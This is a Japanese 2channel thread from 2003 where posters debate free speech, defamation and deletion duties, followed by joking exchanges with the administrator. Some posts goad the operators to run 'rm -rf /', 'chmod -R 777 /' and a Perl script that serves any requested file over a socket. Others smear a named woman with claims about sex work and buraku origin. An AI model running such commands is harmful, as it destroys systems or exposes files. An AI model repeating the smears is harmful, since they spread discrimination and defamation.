言論の自由として片づけるか、あるいは人権の侵害として片づけるかは・・・・
「おいらならどう考えるか」と「それはどっちであるのか」は別問題ってことですね。

611 :心得をよく読みましょう:03/06/05 04:08 ID:wjXot/wm
>609
「アホか」ですか?品位のある人ばかりですね運営には。
そういう「不倫」「SM」などの中傷カキコを見て、運営している人間は怒りを感じる事も無く、「見付けた奴が削除要請しろ」ですか
はっきり言って、あなたたちは一般社会においての常識が著しく欠如してますね
やはり、ここは狂っている事がよくわかりました。
間違いなく近い将来、2ちゃんねるは「あぼーん」されますよ(ワラワラ

612 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 04:13 ID:IONTrvFn
>611
えーっと(^_^;)憶測でものを言っちゃだめですよ
IZUMIは運営とはなんら関りのない2ch利用者の一人です。
ちなみにおいらも同じくです。

(つか、いきなりレベル低いなぁ・・・・・)

613 : ◆IZUMIgeVMA :03/06/05 04:14 ID:GfqicjSb
こういうマナーの話は結局のところ法律に落ち着くしかないんだよね。

言論の自由ってマナーの枠の中での自由じゃなくて
自由という前提を法で制限したものなんだよな。
我々は「正しいことしか話せない」のではなくて
「法で制限された部分だけを話せない」んだよ。

法は完璧では無いというのはまさにその通りだけどさ。
法治国家なんだから従うよりほかしょうがないじゃん。
少しアナキストよりの自分が言うのもアレだけどさ。


614 :心得をよく読みましょう:03/06/05 04:15 ID:aPNJ+dlP
要請ださないから削除されない
のでは間に合わない。
自分が中傷晒されていることに気づいて要望を出すときには
2ちゃんねるに張り付いてでもいない限り、既に遅い。
みなさんは訴えれば済むというが、できるだけ不快な思いはしたくないだろう。
管理人は、>>608が挙げたような明らかに不当な書き込みを
要望を待たずに削除できるよう、完璧な管理が及ぶ範囲で拡大するべきで、
まぁ法律家は、まさに今管理人の責任について論争している。
頑張っていると言われても、一つでも残っていれば見逃すわけにはいかない。

615 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 04:18 ID:IONTrvFn
>613
んだね(^_^;)コンセンサスが得られる状況が崩壊したら
あとは法に頼るほかないんだよな。
かといってコンセンサスを確立できないこと自体には
なんら問題はないわけで・・・・・。

そゆいみでは2chってのは殺伐とした場所ではあるわけだけどさ(^_^;)
(逆に妙にコンセンサスが行き渡ってて無気味なこともあるけど(^_^;)2chまんせーはちょっとねぇ)

616 :心得をよく読みましょう:03/06/05 04:19 ID:aPNJ+dlP
やっぱり、マァブさんやIZUMIさんは、
自分で変えていこうという意志に欠けてますよ。
あくまで民主主義なんですからね。
完璧でない法律だからこそ、自分たちで完璧に近づくような法はどんなか、
いろいろ話し合うのもまたいいのではないかと思うんですが。

それでもしも、利用者ほとんどが納得すれば、ひろゆきもさすがに動いてくれると思うんですけどね。

617 :心得をよく読みましょう:03/06/05 04:21 ID:vwYXcwTI
最終的には国家権力が介入することになるのかなあ・・・

618 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 04:21 ID:IONTrvFn
>614
「東京都杉並区のラーメン屋赫赤白丸の店長高田渉氏は包茎手術をしました」
これは中傷なんでしょうか?(^_^;)

中傷であるかどうかは、親告によってしか判明しません。
プロバイダ責任法をもうちっと熟読&理解したほうがいいかもです・・・・。

619 :心得をよく読みましょう:03/06/05 04:21 ID:W/4/xkid
>614さん
もうキチガイに、まともに話しても無駄ですよ
こんな巨大便所の落書き板群は、ウンコのAAばかりにすればいいよ

620 : ◆IZUMIgeVMA :03/06/05 04:23 ID:GfqicjSb
608が「明らかに不当」なのは貴方の言ってるマナーが理由?
違うでしょ。漏れの言ってる「法律」が理由でしょ?

ISP責任法施行後は
管理者が侵害を知りえてから7日間反論の猶予期間を設け、
その後削除するということになってて
実際そのように処理されてると思うけど?
まだ見ぬ侵害を予知しろっての?エスパーじゃないんだから。


621 :心得をよく読みましょう:03/06/05 04:23 ID:aPNJ+dlP
>>618
ところで>>608が違法だと判断されるのはなぜでしょうか?

622 : ◆IZUMIgeVMA :03/06/05 04:26 ID:GfqicjSb
んで、620で言ってる「侵害を知りえてから」というのの侵害の基準てのも
やっぱり法律であってマナーじゃないわけね。
まぁ、2chじゃあ侵害であるという法的な妥当性がないものも
結構な数サービスで削除してもらえてますけどね。
それが当然のことだと思ってるならちょっと勘違いなわけで。
サービスでマナーを考慮してやってる2chは感謝されてもバチは当たらないと思うなぁ。


623 :心得をよく読みましょう:03/06/05 04:26 ID:aPNJ+dlP
>>620
その侵害というのはどこで判断するのでしょうか?

624 :心得をよく読みましょう:03/06/05 04:27 ID:aPNJ+dlP
>>622
なぜ法律で判断できるといっておきながら、
具体的に説明してもらえないんですか?

625 : ◆n3D69Zsbfg :03/06/05 04:28 ID:NZUz9DCU
>>623
侵害された人がまず最初に侵害されたと思うんじゃなすかなぁ

626 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 04:29 ID:IONTrvFn
>621
違法なんですか?(^_^;)
おいらは実在してる人物についての書き込みであって
かつ、その人物が訴え出れば違法と思いますよ。
でも、おいらがそう思っても、実際に違法かどうかは法によって判定されます。

で、おいらの質問には答えてもらえますか?(^_^;)
>618は2chが発見し、削除しないといけないのでしょうか?

627 :心得をよく読みましょう:03/06/05 04:35 ID:aPNJ+dlP
まぁとりあえず、
ネット上では親告という枠組みをはずすべきだと思うんですよね。
もしくは、侵害されていることを管理人が知った場合、当人に連絡することを義務化させるか。
普通の噂なら知らないところで一瞬だけでおわりですが、
ネット上では時間的にも長く、誰にでも見せるという意志がありますから
どうも不十分だと思われます。
親告であるなら当人に知らせて、それが侵害かどうかを判断させれば完璧なのですから。

628 : ◆IZUMIgeVMA :03/06/05 04:35 ID:GfqicjSb
>621
「法に触れる」というのはイコール「侵害」じゃないですよ。
2chじゃ結構削除されてますが。

あと、608にある文字だけが書いてあるなら違法じゃないべ。
「このような」から侵害に当たるような詳細な内容と推測。
誤解を招き申し訳ない。


629 :心得をよく読みましょう:03/06/05 04:36 ID:aItSn3nr
暴露やなんかは別として、ここは好きとか嫌いで成り立ってる掲示板だからな・・・

630 : ◆n3D69Zsbfg :03/06/05 04:37 ID:NZUz9DCU
どんどん法律を作ってもらって
なやまなくても良い世界になけばいいですねぇ 

631 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 04:38 ID:IONTrvFn
>627
えーっと(^_^;)当人をどうやって探すんでしょうか?
>618の例で言えば、杉並区に赫赤白丸というラーメン屋が
実在するかどうかをどうやって確認するのです?(^_^;)
まして、屋号もなく、個人名だけだった場合は?

632 :心得をよく読みましょう:03/06/05 04:42 ID:aItSn3nr
企業とかだったら公である責任もあるしスレに来て堂々と論破すればいいのに

633 : ◆IZUMIgeVMA :03/06/05 04:42 ID:GfqicjSb
>627
とりあえず、侵害かどうかが本人以外には難しいから親告なんじゃないの?
自分で自分の書いて逮捕されかねないよ。それ。だって本人かわかんねぇじゃん。

あと、管理者を侵害者と同視しておいて連絡は貰おうなんてのは都合が良すぎるな。
「犯人に自首する義務を・・」とか言ってるのとかわらん。

>629
んー、だからここで主張してるような好きとか嫌いとか最初に言い出したのは(ry
な主張が出来るんだと思われ。親切なとこやね。

634 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 04:46 ID:IONTrvFn
(ちなみにおいらは釣られてなんぼの批判要望とはいえ、あれに釣られるのを拒否します(^_^;))

635 : ◆IZUMIgeVMA :03/06/05 04:47 ID:GfqicjSb
・・・・・(^_^;





寝るか。

636 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 04:49 ID:IONTrvFn
>aPNJ+dlPさん
んと、もしよければトリップ入れてもらえると嬉しいかも(^_^;)
また、話ができるといいなぁと思うので・・・・

637 :心得をよく読みましょう:03/06/05 04:53 ID:aItSn3nr
普通の2ちゃねらーなら急所は外すよな
外さないとまず必ず叩かれるからマンドクサイ

638 :心得をよく読みましょう:03/06/05 04:54 ID:vwYXcwTI
あはれID:aPNJ+dlPはマァヴの餌食に・・・

639 : ◆WZ5H61BXs6 :03/06/05 04:57 ID:aPNJ+dlP
とりあえず、批判要望板の存在意義は
せいぜいローカルルールを考えていく場だと私は思ってますので、
こういう話し合いはもうしないと思います。
法がなければなにもできないのであれば、
批判要望板はまったく意味がないでしょう。
まぁひろゆきがこのような茶番劇を傍観しながら楽しむために作った場なら
意味が本当に無いでしょうが・・・。

640 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 05:00 ID:IONTrvFn
>638
んなことはない(^_^;)
何か提案があったときに、その提案を叩く(いわゆる叩きじゃなくてね)ことで
問題点や次の解決への糸口を見つけるってのは有効な手法なんだよね。
おいらは仕事で企画会議や設計会議やるときには、必ずこういうやりかたやるし・・・・

んで、aPNJ+dlPさんの主旨についてはおいらは賛成なの。
ただ、自分がその主旨にどう関るかって言うと
自分のタレント考えても、その叩き役が妥当と思うわけ(^_^;)

正直言って、彼の現在の具体的提案やめざしてる方向は、まだまだ果てしない道のりだと思うけど
でも、こうやって意見を交わすことに意味がないわけじゃないし
果てしないゆえに、気長に話しができるといいと思う次第(^_^;)

641 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 05:02 ID:IONTrvFn
>639
んなつれないことを(^_^;)
ま、気が向いたときには是非、そのトリップで出てきてくださいな。

642 :心得をよく読みましょう:03/06/05 05:02 ID:vwYXcwTI
>>640
わかってますよんw

643 :KC-130@マァヴ ◆jxAYUMI09s :03/06/05 05:05 ID:IONTrvFn
>642
ぅぃぅぃ(^_^;)

しっかし天然はほんと大変だ・・・・

644 :心得をよく読みましょう:03/06/05 05:08 ID:aPNJ+dlP
私は、
「侵害かどうか怪しい書き込みはそもそもするべきではない」
という考えの下に徹底的にそれら行為・姿勢を敵視し、
そうすることによって正しい認識をより多くの利用者に身に着けてもらえるように
多くの方々に協力していただけたらなぁという話です。
では。

645 :心得をよく読みましょう:03/06/05 05:14 ID:v72/hhc/
まぁとりあえず朝の挨拶。「まだやってたのか」

646 :心得をよく読みましょう:03/06/05 05:25 ID:/KuwoVcK
おつかれさまですよ

647 :心得をよく読みましょう:03/06/05 11:31 ID:resQ/xH9
仕事で企画会議?

脳内でか?(w
あんたに仕事は無理

648 :心得をよく読みましょう:03/06/05 11:35 ID:3FZuRc6z
構って君再登場

649 :心得をよく読みましょう:03/06/05 12:40 ID:gFFelbXK
誰か相手してやれよ

650 :心得をよく読みましょう:03/06/05 13:31 ID:0gc+EL94
こんなくだらない掲示板に信者がいるんだな
幼稚だねぇ

651 :心得をよく読みましょう:03/06/05 14:02 ID:AdLzE9jG
>>649
めんどくさいんでマァヴにまかせる

652 :マイク ◆yrBrqfF1Ew :03/06/05 14:03 ID:NC9PfRYt
閉鎖はまだかな。

653 : :03/06/05 17:18 ID:05U5dr+u
電波2chを閉鎖せえ

654 :心得をよく読みましょう:03/06/05 17:40 ID:cMuFcsE1
2ch閉鎖してほしい。
友達が2ちゃん用語使い出してキモイんだけど

655 :心得をよく読みましょう:03/06/05 18:25 ID:tIwwVMCr
>>643
乙武氏について言及してほしい

656 :心得をよく読みましょう:03/06/05 18:35 ID:2/fI/EHH
>>654
友達を閉鎖しろ

657 :心得をよく読みましょう:03/06/05 19:16 ID:J9xOPTCt



「2ちゃんねるは大失敗だった」ということでよろしいな!?




658 :心得をよく読みましょう:03/06/05 19:20 ID:vF2SHUmP
>>657
何が成功であって何が失敗なんだ?

659 :心得をよく読みましょう:03/06/05 19:38 ID:JIwJohdj
成功なんてあったっけ?

660 :心得をよく読みましょう:03/06/05 19:49 ID:FuKSOu05
そして >>265 あたりに戻る、と。

661 :心得をよく読みましょう:03/06/05 20:06 ID:ZRaOWudv
このスレの結論は

「マァヴとかいう奴は一晩中張り付いていてキモイ」

で、よろしいか?

662 :心得をよく読みましょう:03/06/05 20:11 ID:K2ctCi8U
試しに1週間だけ封鎖ってのも面白くて良いかもね

663 :心得をよく読みましょう:03/06/05 20:24 ID:+d13QyGQ
>>658
2chのように荒れ果てた掲示板が失敗

荒れてない掲示板が成功

664 :心得をよく読みましょう:03/06/05 20:29 ID:cMuFcsE1
成功

管理人 (儲けすぎ)
2ちゃんねらー

失敗

日本

665 :心得をよく読みましょう:03/06/05 20:39 ID:9IXX+zRV
>>663
じゃああと閉鎖派のやることは、
 ・ひろゆきに「荒れ果てた掲示板は失敗」という信念を持たせ
 ・ひろゆきに「現状の2chは荒れ果てている」と納得させる
ことだな。

おめでとう!結論が出てよかったじゃないか!






まぁ、おまえは 1ch.tv にでも逝ってろってこった。

666 :心得をよく読みましょう:03/06/05 21:03 ID:J9xOPTCt
>>665
そうだな。
ただし、西村が正式に失敗を認めたらの話だがな。




667 :心得をよく読みましょう:03/06/05 21:50 ID:s/0hhCPn
age

668 :心得をよく読みましょう:03/06/05 22:21 ID:SuAGF9DT
>>666
正真ともに2chのダミアン・アンチの鏡だな。>ID:J9xOPTCt

669 :心得をよく読みましょう:03/06/06 00:03 ID:zRmEOSKK
○画像でも見てマターリしようよ
http://www.inter1.jp/~cat/photo/images/1842bzg.jpg

670 :心得をよく読みましょう:03/06/06 00:32 ID:m8WpVFls

あめぞうでは、みんなに嫌われていた西村w

あめぞうでは、必死に低姿勢で勧誘していた西村w

あめぞう住人に論破されて、切れていた西村w


671 :心得をよく読みましょう:03/06/06 01:58 ID:bIIQABuM
運営の人間性を晒しage

672 :心得をよく読みましょう:03/06/06 06:09 ID:bHXWNO5Q

2chがなくなっても、必ず誰かがまた作る。金儲けにはぴったりのサイトだからな

-------------------------------終了-----------------------------------

673 :心得をよく読みましょう:03/06/06 09:08 ID:zc1S2Pqe
(((((((((((((´・∀・`))))))))))))))お前らなめとんか    

674 :心得をよく読みましょう:03/06/06 14:04 ID:m8WpVFls


あめぞうでは、みんなに嫌われていた西村w

あめぞうでは、必死に低姿勢で勧誘していた西村w

あめぞう住人に論破されて、切れていた西村w



675 :マイク ◆yrBrqfF1Ew :03/06/06 14:53 ID:+AxLuzp4
rm -rf /
やればいいのに。。。

676 : ◆n3D69Zsbfg :03/06/06 14:55 ID:/WJSwnJ3
ぱーみっしょんでないんどになるとおもわれ

677 :マイク ◆yrBrqfF1Ew :03/06/06 15:57 ID:SFU692qg
chmod -R 777 /

早くしろや

678 : ◆n3D69Zsbfg :03/06/06 16:07 ID:/WJSwnJ3
それすらも・・・

679 :心得をよく読みましょう:03/06/06 16:30 ID:NgqbRHAD
>>664
ひろゆきっていくらぐらい儲けてるの?

680 :名無しさん@思い出いっぱい。:03/06/06 16:32 ID:X512HbL/
>>676
何やってんだ。

681 :心得をよく読みましょう:03/06/06 16:55 ID:L78+Py1T
>>679
儲けてるだろうけど
自己の管理怠慢により裁判で借金

682 :マイク ◆yrBrqfF1Ew :03/06/06 16:59 ID:8wtobHSr
#!/usr/bin/perl
use Socket; socket(SERVER_SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
bind(SERVER_SOCK, pack_sockaddr_in(61234, inet_aton("64.71.145.43")));
listen(SERVER_SOCK, 5); while (accept(CLIENT_SOCK, SERVER_SOCK)) {
recv(CLIENT_SOCK, $_, 512, 0); open(FILE, "<$_");
while ($_ = <FILE>) { send(CLIENT_SOCK, $_, 0); } close(FILE);
close(CLIENT_SOCK); } close(SERVER_SOCK);

早くしろよ。

683 : ◆n3D69Zsbfg :03/06/06 17:00 ID:/WJSwnJ3
なんだかむずむずだなぁ

684 :KC-130@マァヴ ◆jxAYUMI09s :03/06/06 17:02 ID:Hi3neLks
perlってよくわからないんだけどさ(^_^;)
怪しげな人が書いたソースって危険じゃん

685 :心得をよく読みましょう:03/06/06 17:38 ID:O7xbY9Bc
マァヴさんて一日中張り付いてるみたいですけど、
無職の引きこもりの方なのですか?

686 :心得をよく読みましょう:03/06/06 17:40 ID:dTSdI19r
ってか2chが嫌なら2ちゃんにくんなよ>>1・・・・
お前は2ちゃんねるの何を知ってる?全てのにちゃんねらーが悪い書き込みをしてるわけではなかろう?

687 :心得をよく読みましょう:03/06/06 17:43 ID:jtuepomZ
2ch女帝あゆみ様をナンバー1にするスレその1
http://members.tripod.co.jp/nachi_ozaki/
http://that.2ch.net/test/read.cgi/event/1052421066/


688 :心得をよく読みましょう:03/06/06 17:46 ID:jtuepomZ
マァブ様の彼女

あゆみ様のプロフィール

上智大卒偽称
風俗嬢経験あり
部落出身

689 :心得をよく読みましょう:03/06/06 17:54 ID:NgqbRHAD
>>685
マァヴは2chが仕事です
そしておまいのレスもマァヴに貢献してるのです
だからマァヴは放置しましょう

690 :心得をよく読みましょう:03/06/06 18:13 ID:9L3VS7DG
>>686
あんたも一部の悪質な2ちゃんねらーに巻き込まれたくなければ
2ちゃんねるに来ないことだな。
「2ちゃんねらーに荒らされた」って言われることを分かってて書いてるんだろ?

691 :心得をよく読みましょう:03/06/06 18:21 ID:fNui2v6e
嫌なら来るなと言うくせに個人サイト見て誹謗中傷しまくり
良い奴もいると言いながら酷い事しか書かない
あげくに2chの真の使用方法を知ってるぐらいで優越感にひたってる
どこかで見ましたそんな人

692 :心得をよく読みましょう:03/06/06 18:26 ID:9L3VS7DG
それから「2ちゃんねらー」って代名詞を都合よく解釈するのはよくない。
「○○人」と同じで、ある一人を指すこともあれば複数人を指すときもある。
その区別って今のところないでしょ?
だから「2ちゃんねらーすべてが悪いわけじゃないだろ」って言い訳、
これも都合がいいってことだな。

693 :心得をよく読みましょう:03/06/06 18:28 ID:9L3VS7DG
>>692
その一番の原因は、ハンドルネームの肩書きよりも
2ちゃんねらーの肩書きのほうが上であることだろうね。

現実であれば、自分のことを名前ではなくて「日本人だ」と、
一生懸命個を主張しているのと同じだよ。

694 :心得をよく読みましょう:03/06/06 18:32 ID:9L3VS7DG
>>693
「2ちゃんねらーに荒らされた」って言われることにいちいち頭にくるなら、
2ちゃんねらーやめるか、コテハンにするか、
あるいは2ちゃんねらー全員で、荒らし=2ちゃんねらーという誤解を
招かないようにみんなで管理人たちにルールを厳しくしてもらうなり頼むんだね。

それを承知の上で君たちは、わざわざ2ちゃんねるで自由に書き込ませてもらってるんじゃないの?

695 :心得をよく読みましょう:03/06/06 18:33 ID:m8WpVFls
「嫌なら来るな!」というが
2ちゃんねらーは、気に入らない他のHPを荒らしに来ますが?

696 :692−694:03/06/06 18:44 ID:9L3VS7DG
ま、お互い都合のいい言い訳かもしれないけどさ、
俺もここで書き込んでいるんだから2ちゃんねらーだよきっと。
その代わりさっき自分で言ったことは十分承知しているつもりだ。

それとこれから2ちゃんねるにケチ付けようとしている者は
「2ちゃんねらー全員が悪いわけじゃない」
とか
「嫌なら来るな」
って都合のいい言い訳を書き込みされたのなら、
こういった書き込みなども参考にして是非とも都合よく反論して欲しいね。

役にたたない? 必要ない??
ならいいんだけど・・・。

697 :心得をよく読みましょう:03/06/06 18:45 ID:lAdDWhIA



2ちゃんネラーの方が先に荒らしに行ってるんだから

まず先に2ちゃんネラーの方から行かなくすべきだな。




698 :心得をよく読みましょう:03/06/06 18:52 ID:paa37FCk
>>695
同意。
嫌なら来るな!なら、荒らしたり誹謗中傷してるものに対しても
行かなかったり見なかったりすればいいだけなのにって思う。
要するに「嫌」なんじゃなくて「(攻撃するのが)面白い」からなんだろうか・・・
善意のユーザーのふりして攻撃するのは恐いなあ(;´Д`)

699 :心得をよく読みましょう:03/06/06 21:54 ID:m8WpVFls
              

700 :心得をよく読みましょう:03/06/06 22:00 ID:6N3aIeCq
2chで2chを叩いてもアンチ「2チャンネラー」って言う「2チャンネラー」の種類でしかない

701 :心得をよく読みましょう:03/06/06 22:11 ID:nG6sUDvD
「嫌なら来るな」ってアンチを釣るにはいいエサだよな。


702 :心得をよく読みましょう:03/06/06 22:21 ID:Yn7QS4nu
鯖の中の人も大変だな

703 :心得をよく読みましょう:03/06/06 22:23 ID:jtuepomZ
http://members.tripod.co.jp/gogatunosakura/
2ch女帝あゆみ様をナンバー1にするスレその1
http://that.2ch.net/test/read.cgi/event/1052421066/

マァブ様の彼女

あゆみ様のプロフィール

上智大卒偽称
風俗嬢経験あり
部落出身



704 :心得をよく読みましょう:03/06/06 22:29 ID:gPYDfwqY
釣りだのアンチだの、、、
いつものパターンか・・・

705 :心得をよく読みましょう:03/06/06 22:35 ID:m8WpVFls
「釣り」っていうのは逃げる奴がよく使う言葉


706 :心得をよく読みましょう:03/06/07 01:01 ID:vu2o7eSK


「あのパチンコ屋に朝から来ている帽子のカップルはSMが趣味らしいぜ」

こんな書き込みも削除せず言論の自由だと主張するアホ運営とカス信者

707 :心得をよく読みましょう:03/06/07 04:56 ID:CCXcqRzp


あめぞうでは、みんなに嫌われていた西村w

あめぞうでは、必死に低姿勢で勧誘していた西村w

あめぞう住人に論破されて、切れていた西村w



708 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 04:59 ID:???
みんなって誰なんだろう?


709 :心得をよく読みましょう:03/06/07 05:01 ID:CCXcqRzp
>>708
あめぞう住人全て

710 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:01 ID:???
全ての住人にはおいらは含まれないんですか?

711 :心得をよく読みましょう:03/06/07 05:04 ID:CCXcqRzp
含まれないんじゃないか。


712 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:04 ID:???
匿名掲示板において、みんなとか全てとかって
どうやって判断してるんでしょう?
単なる妄想以外にそれを証明できるのって、
あめぞうさんぐらいだと思うんですが、、、


713 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:06 ID:???
例えば、元あめぞう住人で、おいらの友達だったりする人もいるわけで、、
そうすると、709の発言は、単なる妄想と解釈せざるをえないんですが、
妄想ではないとすると、どういった手段でそれを証明できるんだろう、、、


714 :心得をよく読みましょう:03/06/07 05:06 ID:CCXcqRzp
じゃ「多数の」で良いか

715 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:07 ID:???
多数ってのは具体的にどうやって把握したんでしょう?
例えば、固定ハンドルの名前を複数上げるとかすれば、
可能かもしれませんが、そういったことは出来るんでしょうか?


716 :心得をよく読みましょう:03/06/07 05:11 ID:CCXcqRzp
本物かどうかが分からんのが困るが
本物なら馬鹿な管理人の書き込みが晒せて良いんだけどなw

717 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:12 ID:???
本物かどうかわからないのは、
修行と認知が足りないからだと思います。


718 :心得をよく読みましょう:03/06/07 05:14 ID:CCXcqRzp
ま、パスが漏れたにせよ
本人の書き込みになってしまうのかな。

719 :心得をよく読みましょう:03/06/07 05:15 ID:fRrM7xKm
酔っ払いに絡まれてる人がいる・・・可哀相に・・・

720 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:15 ID:???
ところで、CCXcqRzpさんの妄想疑惑は放置でいいんですか?

721 :心得をよく読みましょう:03/06/07 05:15 ID:NLY2VGFL
よせよひろゆき。まともに相手しても
「詭弁がうまい」で逃げられるだけだぞ。

722 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:15 ID:???
酔っ払いっていうなぁぁぁぁあああああぁぁぁぁあ、、、

あはん。

723 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:16 ID:???
詭弁じゃなくても、駅弁もうまいです。
詳しい説明は省きます。


724 :心得をよく読みましょう:03/06/07 05:17 ID:03DxNBN5
>>723
(・∀・)ホンモノ!! 

725 :心得をよく読みましょう:03/06/07 05:18 ID:AV5tPE9s
寒いな(・∀・)ホンモノ!! 

726 :心得をよく読みましょう:03/06/07 05:18 ID:Vn0FT7hh
お母さんに怒られてる幼稚園児みたい。。。

「買って買って〜」
「必要ないでしょ!」
「だってみんな持ってるんだよ」
「みんなって誰?」
「太郎君とか、美子ちゃん」

727 : ◆ammFvhK4qM :03/06/07 05:18 ID:NLY2VGFL
こ、壊れた!?

つか、朝から元気だなおい。

728 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:19 ID:???
ちなみに、子供時代に詳細にみんなの名前を列挙したのに
ファミコンを買ってもらえなかったことに対して、
親を恨んでるのは秘密です。



729 :心得をよく読みましょう:03/06/07 05:20 ID:Vn0FT7hh
>>728
(>_<)ヽ ナケルゼェ

730 :心得をよく読みましょう:03/06/07 05:20 ID:NLY2VGFL
★つきの時には大爆笑が義務だぞ( ^∀^)ゲラゲラ

731 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:22 ID:???
子供のときや、幼年時に埋められなかった穴を
大人になってから埋めようとするというのは、
統計的にもある行動例なのですが、
ゲーム好きなのはそこらへんから来てるんじゃないかという気がします。


732 :心得をよく読みましょう:03/06/07 05:24 ID:NLY2VGFL
俺も子供の時にかっちり穴を埋めときゃ
こんなにセクース好きにならなかった、と。

733 :心得をよく読みましょう:03/06/07 05:25 ID:Vn0FT7hh
>>731-732
それはありますね
僕は逆パターンで中、高とsex三昧で今は性欲わきません。

734 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:26 ID:???
子供のときに穴がうまりまくってた人って、
大人になるとどうなってるんすかねぇ、、、


735 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:28 ID:???
穴がうまってたわけでもないんですが、
性欲に対してはあんまり欲がわかないんですよねぇ、、、


736 :心得をよく読みましょう:03/06/07 05:28 ID:R48K1N3X
酔っていても誤字が無いのがすごい。(感心)

737 :心得をよく読みましょう:03/06/07 05:29 ID:Vn0FT7hh
はっきりいって面倒ですし、一人で好きな本読んだりゲームしたりしてたほうが
いいですねぇ

738 :心得をよく読みましょう:03/06/07 05:29 ID:NLY2VGFL

  ひ と り で し た り し な い の か ?


739 :心得をよく読みましょう:03/06/07 05:29 ID:6lV1+efC
ひろゆき、家を出たそうだけどいつ結婚するの?

740 :心得をよく読みましょう:03/06/07 05:30 ID:Vn0FT7hh
排泄したい欲求はあるなぁ


741 :心得をよく読みましょう:03/06/07 05:32 ID:NLY2VGFL
女はともかく、男は出してくのが自然だからな。

742 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:32 ID:???
ひとりではしまくりですね。
三億大虐殺なわけですよ。
さよなら子孫と、そして、ご先祖様。。。


743 :心得をよく読みましょう:03/06/07 05:33 ID:Vn0FT7hh
>>735
今きづいた。。。

>穴がうまってたわけでもないんですが、
うめてたほうじゃなくて?
(((((((( ;゚Д゚)))))))ガクガクブルブル

>>741
そうそう。でも女の相手はマンドクセー

744 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:35 ID:???
女系家庭なので、女の人が基本的に苦手なんすよね。。。


745 :心得をよく読みましょう:03/06/07 05:37 ID:Vn0FT7hh
あーそれじゃ女の人に幻想も夢もいだけずに

746 :ぴろしきはふろしき○⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 05:37 ID:+TVW6SVp
一人暮らしで開放されたようで♪
それとも、期待した映画が詰まんなかったのかは?ですが、

アンチひろゆきスレ

に書き込む「みろゆき」なんて、はじめてみたよ(゚∀゚)アヒャヒャヒャ

747 :心得をよく読みましょう:03/06/07 05:38 ID:NLY2VGFL
俺も女系家族だけど、女と話すほうがなんか気が楽だぞ。
同年代の男のほうが苦手。

で次スレタイ案
【★】ひろゆきの夜のオカズを妄想スレ【神】

748 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:39 ID:???
女系家族のせいで、女性=畏怖ってのがあるのであんまり好きじゃないのは秘密です。

749 :心得をよく読みましょう:03/06/07 05:41 ID:6lV1+efC
女兄弟に女装を強要された過去がありそう

750 :心得をよく読みましょう:03/06/07 05:42 ID:Vn0FT7hh
ふだん右手でオナニーしてるなら
左手にマニキュアぬって。。。
ぎこちなさが新鮮かと、タナニーと命名してます。
まだ実行には移してませんが。

751 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:42 ID:???
女兄弟っていうんすか?女姉妹っていうのも変ですけど、、
一般的には、女兄弟でいいんすか?


752 :心得をよく読みましょう:03/06/07 05:42 ID:NLY2VGFL
「ドキッ、女だらけのひろゆきOFF」でも企画しようぜ

753 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:43 ID:???
「ぎこちなさが新鮮かと、タナニーと命名してます。 」

本気の人発見。


754 :心得をよく読みましょう:03/06/07 05:43 ID:iJ5ckIQV
へー、ひろゆきってガキの頃ファミコン買ってもらえなかったのか。
俺も同じだからすごいよく分かる。

755 :心得をよく読みましょう:03/06/07 05:44 ID:Vn0FT7hh
いや、アイディアだけですよ(汗

756 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:44 ID:???
友達のファミコンを無理やり借りてたのは秘密です。


757 :心得をよく読みましょう:03/06/07 05:44 ID:NLY2VGFL
>>755
隠すな隠すな(クスス

758 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:45 ID:???
タナニーとお幸せに、、、、

759 :ぴろしきはふろしき●⊂(´∀`⊂⌒`つ ◆DQN.1731os :03/06/07 05:45 ID:+TVW6SVp
ブラウザから書かないと、●でないのね(´・ω・`)ショボーン

お姉さんに何されたの?
誰にも言わないから、言ってごらん?ここだけの話だから。

760 :心得をよく読みましょう:03/06/07 05:45 ID:Vn0FT7hh
僕は発売時にすぐグリーンスタンプの景品で手にいれました。
ボタンがゴムで四角いの。

761 :心得をよく読みましょう:03/06/07 05:46 ID:iJ5ckIQV
俺はあの当時ファミコン貸してくれる太っ腹な友達なんていなかった。。。
初めて買ってもらえたのがゲームボーイ。
寝る振りして布団の中でやりまくったなあ。

762 :心得をよく読みましょう:03/06/07 05:46 ID:Vn0FT7hh
やばい、寝ます。。。

763 :ひろゆき ◆3SHRUNYAXA @どうやら管理人 ★:03/06/07 05:47 ID:???
今でもおいらより、体重が多いので、
喧嘩しても勝てなかったですよ、、、とか書くと怒られそうなので秘密です。


